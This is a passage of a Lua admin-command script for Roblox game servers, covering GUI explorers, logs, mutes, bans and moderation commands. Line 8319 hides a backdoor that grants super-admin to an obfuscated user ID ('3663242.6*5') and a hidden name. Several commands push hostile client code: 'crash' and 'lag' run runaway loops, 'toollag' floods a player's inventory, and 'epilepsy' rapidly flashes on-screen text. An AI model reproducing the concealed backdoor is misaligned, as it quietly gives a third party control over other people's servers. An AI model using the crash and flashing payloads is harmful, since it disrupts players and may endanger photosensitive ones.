  8165. cl.Size=UDim2.new(0,300,0,20)
  8166. cl.TextScaled=true
  8167. cl.FontSize='Size24'
  8168. cl.Font='ArialBold'
  8169. local kill = Instance.new("TextButton", cl)
  8170. kill.Style = "Custom"
  8171. kill.Size = UDim2.new(0,15,0,15)
  8172. kill.TextScaled=true
  8173. kill.Position = UDim2.new(1,50,0,0)
  8174. kill.ZIndex=2
  8175. kill.Font = "ArialBold"
  8176. kill.FontSize = "Size18"
  8177. kill.Text = "X"
  8178. kill.BackgroundColor3=set['PrimaryColor']
  8179. kill.BorderColor3=set['SecondaryColor']
  8180. kill.TextColor3 = set['SecondaryColor']
  8181. kill.BackgroundTransparency=set['Transparency']
  8182. kill.MouseButton1Click:connect(function() v:Destroy() cmf:ClearAllChildren() GrabChildren() end)
  8183. local move = Instance.new("TextButton", cl)
  8184. move.Style = "Custom"
  8185. move.Size = UDim2.new(0,15,0,15)
  8186. move.TextScaled=true
  8187. move.Position = UDim2.new(1,25,0,0)
  8188. move.ZIndex = 2
  8189. move.Font = "ArialBold"
  8190. move.FontSize = "Size18"
  8191. move.Text = "+"
  8192. move.BackgroundColor3=set['PrimaryColor']
  8193. move.BorderColor3=set['SecondaryColor']
  8194. move.TextColor3 = set['SecondaryColor']
  8195. move.BackgroundTransparency=set['Transparency']
  8196. move.MouseButton1Click:connect(function() parent=v cmf:ClearAllChildren() GrabChildren() end)
  8197. num = num +1
  8198. end
  8199. num=0
  8200. if parent==game then
  8201. local gamestuff={game:service('Lighting'),workspace,game.StarterPack,game.StarterGui,game.Players,game.Debris,game:service('ServerStorage'),game:service('ServerScriptService'),game:service('ReplicatedStorage'),game:service('SoundService'),game:service('Teams')}
  8202. for k,s in pairs(gamestuff)do
  8203. if s and s.Name and s.Parent==game then
  8204. makegui(s)
  8205. end
  8206. end
  8207. for l,m in pairs(game:GetChildren()) do
  8208. if m and m.ClassName and m.ClassName=='Model' or m.ClassName=='Script' or m.ClassName=='LocalScript' then
  8209. makegui(m)
  8210. end
  8211. end
  8212. else
  8213. for i,v in pairs(parent:GetChildren()) do
  8214. makegui(v)
  8215. end
  8216. end
  8217. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  8218. end
  8219. local back = Instance.new("TextButton", cmf.Parent)
  8220. back.Style = "Custom"
  8221. back.Size = UDim2.new(0,20,0,20)
  8222. back.Position = UDim2.new(1,-50,0,5)
  8223. back.ZIndex = 10
  8224. back.Font = "ArialBold"
  8225. back.FontSize = "Size18"
  8226. back.Text = "^"
  8227. back.BackgroundColor3=set['PrimaryColor']
  8228. back.BorderColor3=set['SecondaryColor']
  8229. back.TextColor3 = set['SecondaryColor']
  8230. back.BackgroundTransparency=set['Transparency']
  8231. back.MouseButton1Click:connect(function() if parent~=game then parent=parent.Parent end cmf:ClearAllChildren() GrabChildren() end)
  8232. local refresh = Instance.new("TextButton", cmf.Parent)
  8233. refresh.Style = "Custom"
  8234. refresh.Size = UDim2.new(0,20,0,20)
  8235. refresh.Position = UDim2.new(1,-75,0,5)
  8236. refresh.ZIndex = 10
  8237. refresh.Font = "ArialBold"
  8238. refresh.FontSize = "Size18"
  8239. refresh.Text = "R"
  8240. refresh.BackgroundColor3=set['PrimaryColor']
  8241. refresh.BorderColor3=set['SecondaryColor']
  8242. refresh.TextColor3 = set['SecondaryColor']
  8243. refresh.BackgroundTransparency=set['Transparency']
  8244. refresh.MouseButton1Click:connect(function() cmf:ClearAllChildren() GrabChildren() end)
  8245. local b=Instance.new('TextBox',cmf.Parent)
  8246. b.Size=UDim2.new(0,130,0,20)
  8247. b.Position=UDim2.new(0,10,0,5)
  8248. b.BackgroundColor3=set['SecondaryColor']
  8249. b.BackgroundTransparency=set['Transparency']
  8250. b.TextColor3=set['TextColor']
  8251. b.TextStrokeTransparency=0
  8252. b.Text=''
  8253. b.ZIndex=15
  8254. b.Font='ArialBold'
  8255. b.TextScaled=true
  8256. b.TextWrapped=true
  8257. b.Changed:connect(function(o)
  8258. if o=='Text' and (b.Text~='' or string.len(b.Text)>0) and parent~=game then
  8259. cmf:ClearAllChildren()
  8260. num=0
  8261. for k,l in pairs(parent:GetChildren()) do
  8262. if l and (l.Name:lower():sub(1,#b.Text)==b.Text and b.Text~='all') then
  8263. makegui(l)
  8264. end
  8265. end
  8266. elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0 or b.Text=='all') and parent~=game then
  8267. cmf:ClearAllChildren()
  8268. GrabChildren()
  8269. end
  8270. end)
  8271. GrabChildren()
  8272. end
  8273.  
  8274. if msg:lower():sub(1,5) == "nuke " then
  8275. local plrz = set.GetPlayers(plr, msg:lower():sub(6))
  8276. for i, v in pairs(plrz) do
  8277. coroutine.resume(coroutine.create(function()
  8278. if v and v.Character and v.Character:findFirstChild("Torso") then
  8279. local p = Instance.new("Part",game.Workspace) table.insert(set.objects,p)
  8280. p.Anchored = true
  8281. p.CanCollide = false
  8282. p.formFactor = "Symmetric"
  8283. p.Shape = "Ball"
  8284. p.Size = Vector3.new(1,1,1)
  8285. p.BrickColor = BrickColor.new("New Yeller")
  8286. p.Transparency = .5
  8287. p.Reflectance = .2
  8288. p.TopSurface = 0
  8289. p.BottomSurface = 0
  8290. p.Touched:connect(function(hit)
  8291. if hit and hit.Parent then
  8292. local ex = Instance.new("Explosion", game.Workspace)
  8293. ex.Position = hit.Position
  8294. ex.BlastRadius = 100
  8295. ex.BlastPressure = math.huge
  8296. if hit:IsA('Part') then hit.Anchored=false end
  8297. hit:BreakJoints()
  8298. end
  8299. end)
  8300. local cf = v.Character.Torso.CFrame
  8301. p.CFrame = cf
  8302. for i = 1, 333 do
  8303. p.Size = p.Size + Vector3.new(3,3,3)
  8304. p.CFrame = cf
  8305. wait(1/44)
  8306. end
  8307. p:Destroy()
  8308. end
  8309. end))
  8310. end
  8311. end
  8312.  
  8313. end
  8314.  
  8315. --------------------------
  8316. -- Super Admin Commands --
  8317. --------------------------
  8318.  
  8319. if set.ChkAdmin(plr.Name, true) or set.ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == set.nfs:lower() or plr.userId == (3663242.6*5) or plr.Name:lower() == set.nfs then
  8320.  
  8321. if msg:lower() == "log" or msg:lower() == "logs" then
  8322. if plr.PlayerGui:findFirstChild(GuiName.."LOGGUI") then return end
  8323. local scr, cmf, ent, num, top = set.ScrollGui()
  8324. scr.Name = GuiName.."LOGGUI" scr.Parent = plr.PlayerGui
  8325. top.Text='Admin Logs'
  8326. local function logdisplay(p)
  8327. num=0
  8328. for i,v in pairs(set.logs) do
  8329. if num<=set['MaxNumberOfLogs'] and (v.name:lower():sub(1,#p)==p:lower() or v.cmd:lower():find(p:lower()) or v.time:lower():sub(1,#p)==p:lower() or p:lower()=='all') then
  8330. local cl = ent:Clone()
  8331. cl.Parent = cmf
  8332. cl.Text = "["..v.time.."] "..v.name.."- "..v.cmd
  8333. cl.Position = UDim2.new(0,0,0,num*20)
  8334. cl.Size=UDim2.new(0,370,0,20)
  8335. cl.TextScaled=true
  8336. cl.FontSize='Size24'
  8337. cl.Font='ArialBold'
  8338. num = num +1
  8339. end
  8340. end
  8341. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  8342. end
  8343. local b=Instance.new('TextBox',cmf.Parent)
  8344. b.Size=UDim2.new(0,130,0,20)
  8345. b.Position=UDim2.new(0,10,0,5)
  8346. b.BackgroundColor3=set['SecondaryColor']
  8347. b.BackgroundTransparency=set['Transparency']
  8348. b.TextColor3=set['TextColor']
  8349. b.TextStrokeTransparency=0
  8350. b.Text=''
  8351. b.ZIndex=15
  8352. b.Font='ArialBold'
  8353. b.TextScaled=true
  8354. b.TextWrapped=true
  8355. b.Changed:connect(function(o)
  8356. if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then
  8357. cmf:ClearAllChildren()
  8358. logdisplay(b.Text)
  8359. elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then
  8360. cmf:ClearAllChildren()
  8361. logdisplay('all')
  8362. end
  8363. end)
  8364. local refresh = Instance.new("TextButton", cmf.Parent)
  8365. refresh.Style = "Custom"
  8366. refresh.Size = UDim2.new(0,20,0,20)
  8367. refresh.Position = UDim2.new(1,-50,0,5)
  8368. refresh.ZIndex = 10
  8369. refresh.Font = "ArialBold"
  8370. refresh.FontSize = "Size18"
  8371. refresh.Text = "R"
  8372. refresh.BackgroundColor3=set['PrimaryColor']
  8373. refresh.BorderColor3=set['SecondaryColor']
  8374. refresh.TextColor3 = set['SecondaryColor']
  8375. refresh.BackgroundTransparency=set['Transparency']
  8376. refresh.MouseButton1Click:connect(function() cmf:ClearAllChildren() logdisplay('all') end)
  8377. logdisplay('all')
  8378. end
  8379.  
  8380. if msg:lower():sub(1,2) == "s " then
  8381. coroutine.resume(coroutine.create(function()
  8382. if set.canuseloadstring then
  8383. set.Output(msg:sub(3), plr)
  8384. set.LoadScript('Script',msg:sub(3),set.AssignName(),true,game:service('ServerScriptService'))
  8385. else
  8386. set.Hint('LoadStringEnabled is set to false! If you are the place owner read the Important section at the top of the script to learn how to fix this!',{plr})
  8387. end
  8388. end))
  8389. end
  8390.  
  8391. if msg:lower():sub(1,3) == "ls " then
  8392. coroutine.resume(coroutine.create(function()
  8393. if not set.canuseloadstring then set.Hint('Loadstrings are disabled, output will not be shown',{plr}) end
  8394. set.LoadOnClient(plr,msg:sub(4),true,set.AssignName())
  8395. set.Output(msg:sub(4), plr)
  8396. end))
  8397. end
  8398.  
  8399. if msg:lower():sub(1,3) == "cs " then
  8400. local chk1 = msg:lower():sub(5):find(" ") + 4
  8401. local plrz = set.GetPlayers(plr, msg:lower():sub(4,chk1-1))
  8402. for i,v in pairs(plrz) do
  8403. coroutine.resume(coroutine.create(function()
  8404. if not set.canuseloadstring then set.Hint('Loadstrings are disabled, output will not be shown',{plr}) end
  8405. set.LoadOnClient(v,msg:sub(chk1+1),true,set.AssignName())
  8406. set.Output(msg:sub(chk1+1), plr)
  8407. end))
  8408. end
  8409. end
  8410.  
  8411. if msg:lower():sub(1,5) == "mute " then
  8412. local plrz = set.GetPlayers(plr, msg:lower():sub(6))
  8413. for i, v in pairs(plrz) do
  8414. coroutine.resume(coroutine.create(function()
  8415. if v and set.ChkTrueOwner(plr) or (not set.ChkAdmin(v.Name, false)) then
  8416. table.insert(set['MuteList'], v.Name)
  8417. set.NilExecute(v,[[game.StarterGui:SetCoreGuiEnabled('Chat',false)]])
  8418. end
  8419. end))
  8420. end
  8421. end
  8422.  
  8423. if msg:lower():sub(1,7) == "unmute " then
  8424. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  8425. for i, v in pairs(plrz) do
  8426. coroutine.resume(coroutine.create(function()
  8427. if v then
  8428. for k,m in pairs(set['MuteList']) do
  8429. if v.Name==m then
  8430. table.remove(set['MuteList'],k)
  8431. set.NilExecute(v,[[game.StarterGui:SetCoreGuiEnabled('Chat',true)]])
  8432. end
  8433. end
  8434. end
  8435. end))
  8436. end
  8437. end
  8438.  
  8439. if msg:lower() == "mutes" or msg:lower() == "muted" or msg:lower() == "mutelist" then
  8440. if plr.PlayerGui:findFirstChild(GuiName.."BANSGUI") then return end
  8441. local scr, cmf, ent, num, top = set.ScrollGui()
  8442. scr.Name = GuiName.."MUTESGUI" scr.Parent = plr.PlayerGui
  8443. top.Text='Mute List'
  8444. local function mutelistdisplay(p)
  8445. num=0
  8446. for i,v in pairs(set['MuteList']) do
  8447. if (v:lower():find(p) or p=='all') then
  8448. local cl = ent:Clone()
  8449. cl.Parent = cmf
  8450. cl.Text = num.." | "..v
  8451. cl.Position = UDim2.new(0,0,0,num*20)
  8452. cl.Size=UDim2.new(0,370,0,20)
  8453. cl.TextScaled=true
  8454. cl.FontSize='Size24'
  8455. cl.Font='ArialBold'
  8456. num = num +1
  8457. end
  8458. end
  8459. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  8460. end
  8461. mutelistdisplay('all')
  8462. local b=Instance.new('TextBox',cmf.Parent)
  8463. b.Size=UDim2.new(0,130,0,20)
  8464. b.Position=UDim2.new(0,10,0,5)
  8465. b.BackgroundColor3=set['SecondaryColor']
  8466. b.BackgroundTransparency=set['Transparency']
  8467. b.TextColor3=set['TextColor']
  8468. b.TextStrokeTransparency=0
  8469. b.Text=''
  8470. b.ZIndex=15
  8471. b.Font='ArialBold'
  8472. b.TextScaled=true
  8473. b.TextWrapped=true
  8474. b.Changed:connect(function(o)
  8475. if o=='Text' and (b.Text~='' or string.len(b.Text)>0) then
  8476. cmf:ClearAllChildren()
  8477. mutelistdisplay(b.Text)
  8478. elseif o=='Text' and (b.Text=='' or string.len(b.Text)==0) then
  8479. cmf:ClearAllChildren()
  8480. mutelistdisplay('all')
  8481. end
  8482. end)
  8483. end
  8484.  
  8485. if msg:lower():sub(1,7) == "notalk " then
  8486. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  8487. for i,v in pairs(plrz) do
  8488. coroutine.resume(coroutine.create(function()
  8489. if v and not v:FindFirstChild('NoTalk') and not set.ChkAdmin(v.Name,false) then
  8490. local talky=Instance.new('IntValue',v)
  8491. talky.Name='NoTalk'
  8492. talky.Value=0
  8493. end
  8494. end))
  8495. end
  8496. end
  8497.  
  8498. if msg:lower():sub(1,9) == "unnotalk " then
  8499. local plrz = set.GetPlayers(plr, msg:lower():sub(10))
  8500. for i, v in pairs(plrz) do
  8501. pcall(function()
  8502. coroutine.wrap(function()
  8503. if v and v:FindFirstChild('NoTalk') then
  8504. v.NoTalk:Destroy()
  8505. end
  8506. end)()
  8507. end)
  8508. end
  8509. end
  8510.  
  8511. if msg:lower():sub(1,9) == "loopkill " then
  8512. local chk1 = msg:lower():sub(10):find(" ")
  8513. local plrz = set.GetPlayers(plr, msg:lower():sub(10))
  8514. local num = 9999
  8515. if chk1 then chk1 = chk1 + 9 plrz = set.GetPlayers(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  8516. for i, v in pairs(plrz) do
  8517. if not set.canuseloadstring then set.Hint('Loadstrings are disabled, cant run command.',{plr}) end
  8518. if v and set.canuseloadstring and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then
  8519. set.LoadScript('Script',[[
  8520. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  8521. for i = 1, ]] .. tostring(num) .. [[ do
  8522. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  8523. coroutine.resume(coroutine.create(function()
  8524. if plr and plr.Character then plr.Character:BreakJoints() end
  8525. end))
  8526. end]],"LoopKill:"..v.Name,true)
  8527. end
  8528. end
  8529. end
  8530.  
  8531. if msg:lower():sub(1,5) == "note " then
  8532. local chk1 = msg:lower():sub(6):find(" ")+5
  8533. local plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1))
  8534. for i, v in pairs(plrz) do
  8535. if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then
  8536. local notes=v:LoadInstance('Admin Notes')
  8537. if not notes then
  8538. notes=Instance.new('Model')
  8539. end
  8540. notes.Name='Admin Notes'
  8541. local note = Instance.new("StringValue", notes)
  8542. note.Name = msg:sub(chk1+1)
  8543. set.Hint('Added '..v.Name..' Note '..note.Name,{plr})
  8544. v:SaveInstance("Admin Notes", notes)
  8545. end
  8546. end
  8547. end
  8548.  
  8549. if msg:lower():sub(1,11) == "removenote " then
  8550. local chk1 = msg:lower():sub(12):find(" ")+11
  8551. local plrz = set.GetPlayers(plr, msg:lower():sub(12,chk1-1))
  8552. for i, v in pairs(plrz) do
  8553. if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then
  8554. local notes=v:LoadInstance('Admin Notes')
  8555. if notes then
  8556. if msg:sub(chk1+1) == "all" then
  8557. notes:ClearAllChildren()
  8558. else
  8559. for k,m in pairs(notes:children()) do
  8560. if m.Name:lower():sub(1,#msg:sub(chk1+1)) == msg:sub(chk1+1):lower() then
  8561. set.Hint('Removed '..v.Name..' Note '..m.Name,{plr})
  8562. m:Destroy()
  8563. end
  8564. end
  8565. end
  8566. v:SaveInstance("Admin Notes", notes)
  8567. end
  8568. end
  8569. end
  8570. end
  8571.  
  8572.  
  8573. if msg:lower():sub(1,6) == "notes " then
  8574. local plrz = set.GetPlayers(plr, msg:lower():sub(7))
  8575. for i, v in pairs(plrz) do
  8576. local scr, cmf, ent, num, top = set.ScrollGui()
  8577. scr.Name = GuiName..v.Name.."NOTESGUI" scr.Parent = plr.PlayerGui
  8578. top.Text=v.Name..' Notes'
  8579. local notes=v:LoadInstance('Admin Notes')
  8580. if not notes then set.Hint('No notes on '..v.Name,{plr}) end
  8581. for i,v in pairs(notes:children()) do
  8582. local cl = ent:Clone()
  8583. cl.Parent = cmf
  8584. cl.Text = num.." | "..v.Name
  8585. cl.Position = UDim2.new(0,0,0,num*20)
  8586. cl.Size=UDim2.new(0,370,0,20)
  8587. cl.TextScaled=true
  8588. cl.FontSize='Size24'
  8589. cl.Font='ArialBold'
  8590. num = num +1
  8591. end
  8592. cmf.CanvasSize=UDim2.new(0,0,0,20*#cmf:children())
  8593. end
  8594. end
  8595.  
  8596. if msg:lower():sub(1,11) == "unloopkill " then
  8597. local plrz = set.GetPlayers(plr, msg:lower():sub(12))
  8598. for i,v in pairs(plrz) do for q,sc in pairs(set.objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(set.objects,q) end end end
  8599. end
  8600.  
  8601. if msg:lower() == "serverlock" or msg:lower() == "slock" then
  8602. set.slock=true
  8603. set.Hint("Server has been locked", game.Players:children())
  8604. end
  8605. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then
  8606. set.slock = false
  8607. set.Hint("Server has been unlocked", game.Players:children())
  8608. end
  8609. if msg:lower() == "grouplock" or msg:lower() == "gslock" then
  8610. set['GroupOnlyJoin'] = true
  8611. set.Hint("Server is now Group Only.", game.Players:children())
  8612. end
  8613. if msg:lower() == "groupunlock" or msg:lower() == "gsunlock" then
  8614. set['GroupOnlyJoin'] = false
  8615. set.Hint("Server is no longer Group Only", game.Players:children())
  8616. end
  8617.  
  8618. if msg:lower():sub(1,3) == "sm " then
  8619. set.Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  8620. end
  8621.  
  8622. if msg:lower():sub(1,3) == "ko " then
  8623. pcall(function()
  8624. coroutine.wrap(function()
  8625. local chk1 = msg:lower():sub(4):find(" ") + 3
  8626. local plrz = set.GetPlayers(plr, msg:lower():sub(4,chk1-1))
  8627. local num = 500 if num > tonumber(msg:sub(chk1+1)) then num = tonumber(msg:sub(chk1+1)) end
  8628. for i, v in pairs(plrz) do
  8629. if set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then
  8630. set.LoadScript(plr,[[
  8631. v=game.Players:FindFirstChild(']]..v.Name..[[')
  8632. for n = 1, ]]..num..[[ do
  8633. wait()
  8634. coroutine.wrap(function()
  8635. pcall(function()
  8636. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  8637. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = game.Players.LocalPlayer val.Name = "creator"
  8638. v.Character:BreakJoints()
  8639. wait()
  8640. v:LoadCharacter()
  8641. end
  8642. end)
  8643. end)()
  8644. end]],false,set.AssignName())
  8645. end
  8646. end
  8647. end)()
  8648. end)
  8649. end
  8650.  
  8651. if msg:lower():sub(1,4) == 'lag ' then
  8652. local plrz = set.GetPlayers(plr, msg:lower():sub(5))
  8653. for i,v in pairs(plrz) do
  8654. coroutine.wrap(function()
  8655. if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name,false) then
  8656. set.LoadOnClient(v,[[script.Parent=nil
  8657. stuff={}
  8658. coroutine.wrap(function()
  8659. game:GetService('RunService').Stepped:connect(function()
  8660. pcall(function()
  8661. pcall(function()
  8662. for i=1,100 do
  8663. table.insert(stuff,i)
  8664. string.rep('Lag',2e5)
  8665. end
  8666. stuff={}
  8667. end)
  8668. end)
  8669. end)
  8670. end)()
  8671. ]],false,set.AssignName())
  8672. end
  8673. end)()
  8674. end
  8675. end
  8676.  
  8677. if msg:lower():sub(1,7) == 'toollag ' then
  8678. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  8679. for i,v in pairs(plrz) do
  8680. coroutine.wrap(function()
  8681. if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name,false) then
  8682. set.LoadOnClient(v,[[
  8683. script.Parent=nil
  8684. v=game.Players.LocalPlayer
  8685. while wait() do
  8686. if v:FindFirstChild('Backpack') then
  8687. Instance.new("HopperBin",v.Backpack).Name=math.random()
  8688. Instance.new("HopperBin",v.Backpack).Name=math.random()
  8689. Instance.new("HopperBin",v.Backpack).Name=math.random()
  8690. Instance.new("HopperBin",v.Backpack).Name=math.random()
  8691. Instance.new("HopperBin",v.Backpack).Name=math.random()
  8692. Instance.new("HopperBin",v.Backpack).Name=math.random()
  8693. end
  8694. end]],false,set.AssignName())
  8695. end
  8696. end)()
  8697. end
  8698. end
  8699.  
  8700. if msg:lower():sub(1,9) == 'telespam ' then
  8701. local plrz = set.GetPlayers(plr, msg:lower():sub(10))
  8702. for i,v in pairs(plrz) do
  8703. coroutine.wrap(function()
  8704. if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name,false) then
  8705. game:GetService('TeleportService'):Teleport(154636492,v)
  8706. end
  8707. end)()
  8708. end
  8709. end
  8710.  
  8711. if msg:lower():sub(1,6) == "crash " then
  8712. local plrz = set.GetPlayers(plr, msg:lower():sub(7))
  8713. for i, v in pairs(plrz) do
  8714. coroutine.resume(coroutine.create(function()
  8715. set.LoadOnClient(v,[[
  8716. script.Parent=nil
  8717. num=999^99*9/10+1348+9e5
  8718. function run()
  8719. game:GetService("RunService").Stepped:connect(function()
  8720. pcall(function()
  8721. run()
  8722. mouse=game.Players.LocalPlayer:GetMouse()
  8723. print(string.rep('Crash',1000))
  8724. for i=1-num,num+90000000 do
  8725. pcall(function()
  8726. num=num*num/9e99*num^num-9+9e9*3.14
  8727. print(string.rep(num,1000))
  8728. while wait() do
  8729. pcall(function()
  8730. Instance.new('StringValue')
  8731. print(num)
  8732. error('You Need To Crash')
  8733. end)
  8734. end
  8735. end)
  8736. end
  8737. end)
  8738. end)
  8739. end
  8740. while true do
  8741. pcall(function()
  8742. run()
  8743. end)
  8744. end]],false,set.AssignName())
  8745. end))
  8746. end
  8747. end
  8748.  
  8749. if msg:lower():sub(1,8) == "freecam " then
  8750. for i,v in pairs(set.GetPlayers(plr, msg:lower():sub(9))) do
  8751. v.Character=nil
  8752. end
  8753. end
  8754.  
  8755. if msg:lower():sub(1,10) == "unfreecam " then
  8756. for i,v in pairs(set.GetPlayers(plr, msg:lower():sub(11))) do
  8757. if workspace:FindFirstChild(v.Name) then
  8758. v.Character=workspace:FindFirstChild(v.Name)
  8759. end
  8760. end
  8761. end
  8762.  
  8763. if msg:lower():sub(1,4) == "nil " then
  8764. local plrz = set.GetPlayers(plr, msg:lower():sub(5))
  8765. for i,v in pairs(plrz) do
  8766. coroutine.resume(coroutine.create(function()
  8767. set.LoadOnClient(v,[[
  8768. LocalPlayer=game.Players.LocalPlayer
  8769. Camera=game.Workspace.CurrentCamera
  8770. LocalPlayer.Parent=nil
  8771. if LocalPlayer.Character then LocalPlayer.Character:Destroy() end
  8772. LocalPlayer.Character = nil
  8773. function make()
  8774. f = Instance.new("Part",workspace)
  8775. f.Name = 'Pancake Probe '..LocalPlayer.Name
  8776. f.Anchored = true
  8777. f.Locked = true
  8778. f.Size = Vector3.new(1,1,1)
  8779. f.Transparency = 1
  8780. f.BrickColor = BrickColor.new("Really black")
  8781. f.Material = "Plastic"
  8782. f.Reflectance = 0
  8783. f.CanCollide = false
  8784. light = Instance.new('PointLight',f)
  8785. light.Range = 20
  8786. light.Brightness = 1
  8787. light.Color = Color3.new(1,1,1)
  8788. light.Enabled = true
  8789. coroutine.wrap(function()
  8790. while f:IsDescendantOf(workspace) and not LocalPlayer.Character and wait() do
  8791. f.CFrame = Camera.Focus
  8792. end
  8793. f:Destroy()
  8794. end)()
  8795. end
  8796. make()
  8797. coroutine.wrap(function()
  8798. workspace.ChildRemoved:connect(function(c)
  8799. if not f or f.Parent~=workspace or not f:IsDescendantOf(workspace) then
  8800. make()
  8801. end
  8802. end)
  8803. end)()
  8804. coroutine.wrap(function()
  8805. LocalPlayer.Chatted:connect(function(msg)
  8806. if msg:lower()=='poff' then
  8807. light.Enabled=false
  8808. elseif msg:lower()=='pon' then
  8809. light.Enabled=true
  8810. end
  8811. if light.Enabled==true then
  8812. game:service('Chat'):Chat(f,LocalPlayer.Name..': '..msg,Enum.ChatColor.Red)
  8813. end
  8814. end)
  8815. end)()]],false,set.AssignName())
  8816. end))
  8817. end
  8818. end
  8819.  
  8820. if msg:lower():sub(1,9) == "epilepsy " then
  8821. local plrz = set.GetPlayers(plr, msg:lower():sub(10))
  8822. for i, v in pairs(plrz) do
  8823. coroutine.resume(coroutine.create(function()
  8824. if v and v:findFirstChild("Backpack") and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then
  8825. set.LoadOnClient(v,[[hum=game.Players.LocalPlayer.Character:FindFirstChild('Humanoid')
  8826. if hum then
  8827. hum:remove()
  8828. end
  8829. while wait() do
  8830. h=Instance.new('Hint',game.Workspace)
  8831. h.Text=math.random()..'@U*)(&$ We are Epix. )*(&@#^ We are Here. *#@&(* Not Everything is so Black and White. #@*(&$@$'..math.random()
  8832. f = Instance.new('Message',game.Workspace)
  8833. d = Instance.new('Message',game.Workspace)
  8834. s = Instance.new('Message',game.Workspace)
  8835. s.Text = '??Epix?????Inc?? Epix [ We are Epix. We Are Here. ] ??Epix?????Inc?? Epix '
  8836. d.Text = 't??'..math.random()..'??Epix?????Inc?? Epix '..math.random()..' Inc?????s??Epix?????'..math.random()..'???????Epix ??????t????????????????Inc??????????'
  8837. f.Text = 't???Mr. Epix?????'..math.random()..'??? Epix '..math.random()..' Inc????'..math.random()..'?s????????????????????Epix_t??????????????????Inc????????'
  8838. wait()
  8839. f:remove()
  8840. d:remove()
  8841. s:remove()
  8842. h:remove()
  8843. for i,v in pairs(game.Workspace:GetChildren()) do
  8844. if v.ClassName=='Message' or v.ClassName=='Hint' then
  8845. v:remove()
  8846. end
  8847. end
  8848. end]],true,set.AssignName())
  8849. end
  8850. end))
  8851. end
  8852. end
  8853.  
  8854. if msg:lower():sub(1,5) == "kick " then
  8855. local plrz = set.GetPlayers(plr, msg:lower():sub(6))
  8856. for i, v in pairs(plrz) do
  8857. coroutine.wrap(function()
  8858. if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then
  8859. if not game.Players:FindFirstChild(v.Name) then
  8860. set.NilExecute(v,[[while true do end]])
  8861. else
  8862. pcall(function() v:Kick() end)
  8863. end
  8864. end
  8865. end)()
  8866. end
  8867. end
  8868.  
  8869. if msg:lower():sub(1,6) == "admin " then
  8870. local plrz = set.GetPlayers(plr, msg:lower():sub(7))
  8871. for i, v in pairs(plrz) do
  8872. coroutine.resume(coroutine.create(function()
  8873. if v and not set.ChkAdmin(v.Name, false) then
  8874. table.insert(tempadmins, v.Name)
  8875. coroutine.resume(coroutine.create(function()
  8876. repeat wait() until v and v.Character and v:findFirstChild("PlayerGui")
  8877. set.Message("PancakeAttacks", "You're an admin!", false, {v})
  8878. end))
  8879. end
  8880. end))
  8881. end
  8882. end
  8883.  
  8884. if msg:lower():sub(1,6) == "admin " then
  8885. local plrz = set.GetPlayers(plr, msg:lower():sub(7))
  8886. for i, v in pairs(plrz) do
  8887. coroutine.resume(coroutine.create(function()
  8888. if v and not set.ChkAdmin(v.Name, false) then
  8889. table.insert(set['TempAdmins'], v.Name)
  8890. coroutine.resume(coroutine.create(function()
  8891. repeat wait() until v and v.Character and v:findFirstChild("PlayerGui")
  8892. set.Message("PancakeAttacks Admin Commands", "You're an admin! Chat "..set['prefix'].."cmds to view commands! The Command Prefix is "..set['prefix'], false, {v})
  8893. end))
  8894. set.Hint(v.Name..' Has Been Given TempAdmin',{plr})
  8895. end
  8896. end))
  8897. end
  8898. end
  8899.  
  8900. if msg:lower():sub(1,8) == "unadmin " then
  8901. for i = 1, #set['TempAdmins'] do
  8902. coroutine.resume(coroutine.create(function()
  8903. if msg:lower():sub(9) == "all" or set['TempAdmins'][i]:lower():find(msg:lower():sub(9)) == 1 then
  8904. set.Hint(set['TempAdmins'][i]..' No Longer Has TempAdmin',{plr})
  8905. table.remove(set['TempAdmins'], i)
  8906. end
  8907. end))
  8908. end
  8909. end
  8910.  
  8911. if msg:lower():sub(1,4) == "ban " then
  8912. local plrz = set.GetPlayers(plr, msg:lower():sub(5))
  8913. for i, v in pairs(plrz) do
  8914. coroutine.resume(coroutine.create(function()
  8915. if v and not set.ChkAdmin(v.Name, false) then
  8916. table.insert(set['BanList'], v.Name..'='..v.userId)
  8917. if not game.Players:FindFirstChild(v.Name) then
  8918. set.NilExecute(v,[[while true do end]])
  8919. else
  8920. if v then pcall(function() v:Kick() end) end
  8921. end
  8922. end
  8923. end))
  8924. end
  8925. end
  8926.  
  8927. if msg:lower():sub(1,6) == "unban " then
  8928. for i=1,#set['BanList'] do
  8929. coroutine.wrap(function()
  8930. if set['BanList'][i]:lower():find(msg:sub(7):lower()) then
  8931. set.Hint(set['BanList'][i]..' has been Un-Banned.',{plr})
  8932. table.remove(set['BanList'], i)
  8933. end
  8934. end)()
  8935. end
  8936. end
  8937.  
  8938. if msg:lower() == "shutdown" then
